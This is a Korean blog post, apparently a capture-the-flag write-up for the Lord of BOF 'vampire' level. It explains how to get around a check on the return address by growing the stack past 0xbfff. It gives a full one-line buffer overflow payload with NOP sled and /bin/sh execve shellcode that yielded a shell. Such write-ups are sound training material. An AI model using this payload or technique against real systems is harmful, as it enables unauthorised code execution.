이번 문제는 제약이 많이 사라졌다
argv의 글자수 제한도 없고 buffer을 비우거나 argv를 비우지도 않는다.
그 대신 argv의 47번째 글자가 ff면 안되게 되어있다
스택의 구조를 생각해보면 생각보다 간단한 문제다. 버퍼를 계속 늘리면 스택은 위에서 아래로 자라기 때문에 bfffffff에서 점점 작아져 bffeffff까지 쭉 내려올 수 있을 것이다.
그만큼 가려면 글자가 얼마나 들어가야되는지 알 수 없어서 일일히 넣어보면서 확인했다.
15000자로는 터무니 없이 부족하길래 앞에 1을 하나 더 붙혔다.
이번에는 주소가 0xbffe3930까지 내려온것을 확인했다. 그래서 115000개를 넣기로 하고 코드를 짜 보았다. 0x90을 쫙 채우면 어차피 NOP슬라이드를 타고 쉘코드를 실행하게 될 것이므로
./vampire `python -c 'print "A"*44 + "\x30\x39\xfe\xbf" +"\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*115000'`
이렇게 실행했더니 여전히 세폴이 뜨더라..
그래서 코어를 한번 더 보았다. 그랫더니 코드의 byte수가 바뀌어서 그런지 0xbffe3900까지 내려가있음을 볼 수 있다. 안전빵으로 0xbffe3910으로 설정하고 돌려보았다.
쉘을 획득했다.
'LOB' 카테고리의 다른 글
LOB:Skeleton→Golem (0) | 2018.04.10 |
---|---|
LOB:Vampire→Skeleton (0) | 2018.04.09 |
LOB : Orge→Troll (0) | 2018.04.09 |
LOB : Darkelf→Orge (0) | 2018.04.09 |
LOB : Wolfman → Darkelf (0) | 2018.04.08 |